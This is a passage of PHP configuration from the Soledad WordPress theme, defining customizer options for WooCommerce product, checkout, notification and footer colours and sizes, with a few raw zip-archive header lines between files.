	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Button Background Hover Color', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_woo_product_overlay_bg_color',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Overlay Background Color', 'soledad' ),
	'description' => __( 'Apply to Product Item style 5 & style 7', 'soledad' ),
);
$options[] = array(
	'default'     => '0.5',
	'sanitize'    => 'absint',
	'label'       => __( 'Product Item Overlay Opacity', 'soledad' ),
	'description' => __( 'Apply to Product Item style 5 & style 7', 'soledad' ),
	'id'          => 'penci_woo_product_overlay_bg_opacity',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_woo_product_overlay_bg_opacity',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '0.5',
		),
	),
);
$options[] = array(
	'id'          => 'penci_woo_product_overlay_title_color',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Overlay Title Color', 'soledad' ),
	'description' => __( 'Apply to Product Item style 5 & style 7', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_woo_product_overlay_link_color',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Overlay Link Color', 'soledad' ),
	'description' => __( 'Apply to Product Item style 5 & style 7', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_woo_product_overlay_link_hover_color',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Overlay Link Hover Color', 'soledad' ),
	'description' => __( 'Apply to Product Item style 5 & style 7', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_woo_product_overlay_button_color',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Overlay Button Color', 'soledad' ),
	'description' => __( 'Apply to Product Item style 5 & style 7', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style6_bg',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 6 Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style6_text_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 6 Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style6_title_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 6 Title Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style6_link_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 6 Link Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style6_link_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 6 Link Hover Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style6_price_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 6 Price Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style3_atc_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 3 Add To Cart Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style3_atc_bg_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 3 Add To Cart Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style3_atc_text_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 3 Add To Cart Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style3_atc_text_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 3 Add To Cart Hover Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style5_atc_text_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 5 Add To Cart Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style5_atc_hv_text_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 5 Add To Cart Hover Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style5_atc_border_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 5 Add To Cart Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style5_atc_hv_border_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 5 Add To Cart Hover Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style5_atc_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 5 Add To Cart Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style5_atc_hv_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 5 Add To Cart Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style4_atc_txt_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 4 Add To Cart Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style4_atc_hv_txt_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 4 Add To Cart Hover Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style4_atc_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 4 Add To Cart Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style4_atc_hv_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 4 Add To Cart Hover Background Color', 'soledad' ),
);
/* Product Category Loop */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Product Stock Progress Style', 'soledad' ),
	'id'       => 'penci_woo_product_loop_progress_section',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Progress Background Color', 'soledad' ),
	'id'       => 'penci_woo_product_loop_progress_bg_color',
);
$options[] = array(
	'id'          => 'penci_woo_product_loop_progress_height',
	'default'     => '',
	'sanitize'    => 'absint',
	'label'       => __( 'Custom Progress Bar Height', 'soledad' ),
	'description' => __( 'Set a custom height of the progress bar.', 'soledad' ),
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_woo_product_loop_progress_height',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Progress Active Background Color', 'soledad' ),
	'id'       => 'penci_woo_product_loop_progress_active_bg_color',
);
/* Product Category Loop */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Product Category Loop Style', 'soledad' ),
	'id'       => 'penci_woo_section_product_cat_loop_color',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_woo_section_product_cat_loop_title_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Category Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_section_product_cat_loop_meta_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Meta Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_section_product_cat_loop_overlay_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Overlay Color', 'soledad' ),
);
/* Cross Sell & Related Products */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Product Item Style (Apply for Related & Upsell Products)', 'soledad' ),
	'id'       => 'penci_woo_section_product_related_upsell_color',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'label'       => __( 'Product Item Title', 'soledad' ),
	'type'        => 'soledad-fw-color',
	'description' => __( 'Apply for Upsell & Relate Products on Single Product Page', 'soledad' ),
	'id'          => 'penci_woo_product_loop_title_color_reup',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'label'       => __( 'Product Item Price Color', 'soledad' ),
	'type'        => 'soledad-fw-color',
	'description' => __( 'Apply for Upsell & Relate Products on Single Product Page', 'soledad' ),
	'id'          => 'penci_woo_product_loop_price_color_reup',
);
$options[] = array(
	'id'          => 'penci_woo_product_loop_cat_color_reup',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Cat Color', 'soledad' ),
	'description' => __( 'Apply for Upsell & Relate Products on Single Product Page', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_woo_product_loop_cat_hover_color_reup',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Cat Hover Color', 'soledad' ),
	'description' => __( 'Apply for Upsell & Relate Products on Single Product Page', 'soledad' ),
);
/* Cross Sell Products */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Product Item Style (Apply for Crossell Products)', 'soledad' ),
	'id'       => 'penci_woo_section_product_crossell_color',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Title', 'soledad' ),
	'description' => __( 'Apply for Crossell Products on Cart Page', 'soledad' ),
	'id'          => 'penci_woo_product_loop_title_color_cross',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Price Color', 'soledad' ),
	'description' => __( 'Apply for Crossell Products on Cart Page', 'soledad' ),
	'id'          => 'penci_woo_product_loop_price_color_cross',
);
$options[] = array(
	'id'          => 'penci_woo_product_loop_cat_color_cross',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Cat Color', 'soledad' ),
	'description' => __( 'Apply for Crossell Products on Cart Page', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_woo_product_loop_cat_hover_color_cross',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Cat Hover Color', 'soledad' ),
	'description' => __( 'Apply for Crossell Products on Cart Page', 'soledad' ),
);
/* Product Page */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Product Page', 'soledad' ),
	'id'       => 'penci_woo_section_product_page_color',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Page General Text Color', 'soledad' ),
	'id'       => 'penci_product_page_general_text_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Page Links Color', 'soledad' ),
	'id'       => 'penci_product_page_general_link_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Page Links Hover Color', 'soledad' ),
	'id'       => 'penci_product_page_general_link_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Page General Border Color', 'soledad' ),
	'id'       => 'penci_product_page_general_border_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Swatches Button Border Color', 'soledad' ),
	'id'       => 'penci_product_page_button_swatches_border_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Swatches Button Border Hover Color', 'soledad' ),
	'id'       => 'penci_product_page_button_swatches_border_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Swatches Button Background Color', 'soledad' ),
	'id'       => 'penci_product_page_button_swatches_bg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Swatches Button Background Hover Color', 'soledad' ),
	'id'       => 'penci_product_page_button_swatches_bg_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Add To Cart Background Color', 'soledad' ),
	'id'       => 'penci_product_page_button_atc_bg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Add To Cart Background Hover Color', 'soledad' ),
	'id'       => 'penci_product_page_button_atc_bg_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Meta Color', 'soledad' ),
	'id'       => 'penci_product_page_meta_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Meta Link Color', 'soledad' ),
	'id'       => 'penci_product_page_meta_link_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Meta Link Hover Color', 'soledad' ),
	'id'       => 'penci_product_page_meta_link_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Tab Title Color', 'soledad' ),
	'id'       => 'penci_product_page_tab_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Tab Title Active Color', 'soledad' ),
	'id'       => 'penci_product_page_tab_title_active_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'WooCommerce Additional Pages', 'soledad' ),
	'id'       => 'penci_woo_section_woo_page',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Title Color', 'soledad' ),
	'id'       => 'penci_woo_page_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Background Color', 'soledad' ),
	'id'       => 'penci_woo_page_button_bg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Background HoverColor', 'soledad' ),
	'id'       => 'penci_woo_page_button_bg_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Secondary Button Background Color', 'soledad' ),
	'id'       => 'penci_woo_page_button_alt_bg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Secondary Button Background Color', 'soledad' ),
	'id'       => 'penci_woo_page_button_alt_bg_hover_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Loading Icon', 'soledad' ),
	'id'       => 'penci_woo_loading_ic_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Circle Loading First Color', 'soledad' ),
	'id'       => 'penci_woo_loading_cl1',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Circle Loading Second Color', 'soledad' ),
	'id'       => 'penci_woo_loading_cl2',
);
// checkout pages
$options[] = array(
	'default' => '',
	'type'    => 'soledad-fw-header',
	'label'   => __( 'Checkout Page Color', 'soledad' ),
	'id'      => 'penci_woo_checkout_head',
);
$options[] = array(
	'id'        => 'penci_woo_checkout_breadcrumb_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Breadcrumb Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_breadcrumb_active_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Breadcrumb Active Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_label_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Label Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_border_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Form Input Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_border_focus_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Form Input Focus Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Form Input Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_form_bg_focus_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Form Input Focus Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_order_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Order Form Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_order_table_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Order Form Table Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_order_table_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Order Form Table Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_checkout_order_head_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Order Form Table Head Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_order_accent_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Order Form Table Accent Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_order_table_border_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Order Form Table Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_btn_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_btn_txt_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_btn_hover_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_btn_hover_txt_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Hover Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_review_order_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Review Order Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_checkout_before_content',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( 'Custom Content Before Checkout Form', 'soledad' ),
	'type'     => 'soledad-fw-textarea',
);
$options[] = array(
	'id'       => 'penci_woo_checkout_after_content',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( 'Custom Content After Checkout Form', 'soledad' ),
	'type'     => 'soledad-fw-textarea',
);
/* Notice Color*/
$options[] = array(
	'default' => '',
	'type'    => 'soledad-fw-header',
	'label'   => __( 'Notices Color', 'soledad' ),
	'id'      => 'penci_header_notice_color_head',
);
$options[] = array(
	'id'        => 'penci_woo_notice_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Notice Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_notice_txt_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Notice Text Color', 'soledad' ),
);

return $options;
PK     0w\    C  customizer/config/sections/pencidesign_woo_toast_notify_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => 'penci_general_heading_3',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Notifications Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_woo_notify',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Notify', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_woo_add_to_cart_notify',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Added to Cart Notify', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woo_notify_position',
	'default'     => 'bottom-right',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Notify Position', 'soledad' ),
	'description' => __( 'Select the position of the notification you want to display', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'top-left'      => __('Top Left','soledad' ),
		'top-right'     => __('Top Right','soledad' ),
		'top-center'    => __('Top Center','soledad' ),
		'mid-center'    => __('Middle Center','soledad' ),
		'bottom-left'   => __('Bottom Left','soledad' ),
		'bottom-right'  => __('Bottom Right','soledad' ),
		'bottom-center' => __('Bottom Center','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_woo_notify_text_align',
	'default'     => 'left',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Notify Text Align', 'soledad' ),
	'description' => __( 'Select the text align of the notification you want to display', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'left'   => __('Left','soledad' ),
		'right'  => __('Right','soledad' ),
		'center' => __('Center','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_woo_notify_transition',
	'default'     => 'slide',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Notify Transition Effect', 'soledad' ),
	'description' => __( 'Select the transition effect of the notify', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'plain' => __('Plain','soledad' ),
		'fade'  => __('Fade','soledad' ),
		'slide' => __('Slide','soledad' ),
	)
);
$options[] = array(
	'id'       => 'penci_woo_notify_hide_after',
	'default'  => '5000',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Hide the Notify after miliseconds', 'soledad' ),
	'ids'      => array(
		'desktop' => 'penci_woo_notify_hide_after',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'ms',
			'default' => '5000',
		),
	),
);
$options[] = array(
	'id'        => 'penci_woo_notify_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Notify Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_notify_text_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Notify Text Color', 'soledad' ),
);

return $options;
PK     0w\h>      B  customizer/config/sections/penci_section_footer_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Footer Section Background Color', 'soledad' ),
	'id'       => 'penci_footer_copyright_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Footer Section Background Image', 'soledad' ),
	'id'       => 'penci_footer_copyright_bg_image',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'label'    => esc_html__( 'Footer Widgets Area', 'soledad' ),
	'id'       => 'penci_footer_warea_heading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field',
);
$options[] = array(
	'label'    => __( 'Footer Widget Area Background', 'soledad' ),
	'id'       => 'penci_footer_widget_area_bg',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Widget Area Border Top Color', 'soledad' ),
	'id'       => 'penci_footer_widget_area_border',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Footer Widget Area Background Image', 'soledad' ),
	'id'       => 'penci_footer_widget_bg_image',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Widget Area Text Color', 'soledad' ),
	'id'       => 'penci_footer_widget_area_text_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Widget Area Borders Color for List', 'soledad' ),
	'id'       => 'penci_footer_widget_area_list_border',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Widget Title Text Color', 'soledad' ),
	'id'       => 'penci_footer_widget_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Widget Title Border Color', 'soledad' ),
	'id'       => 'penci_footer_widget_title_border_color',
);
$options[] = array(
	'default'  => '3',
	'sanitize' => 'absint',
	'label'    => __( 'Border Width of Footer Widget Titles', 'soledad' ),
	'id'       => 'penci_footer_widget_title_border_width',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_footer_widget_title_border_width',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => 3,
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Widget Accent Color', 'soledad' ),
	'id'       => 'penci_footer_widget_accent_color',
);
$options[] = array(
	'default'  => '',
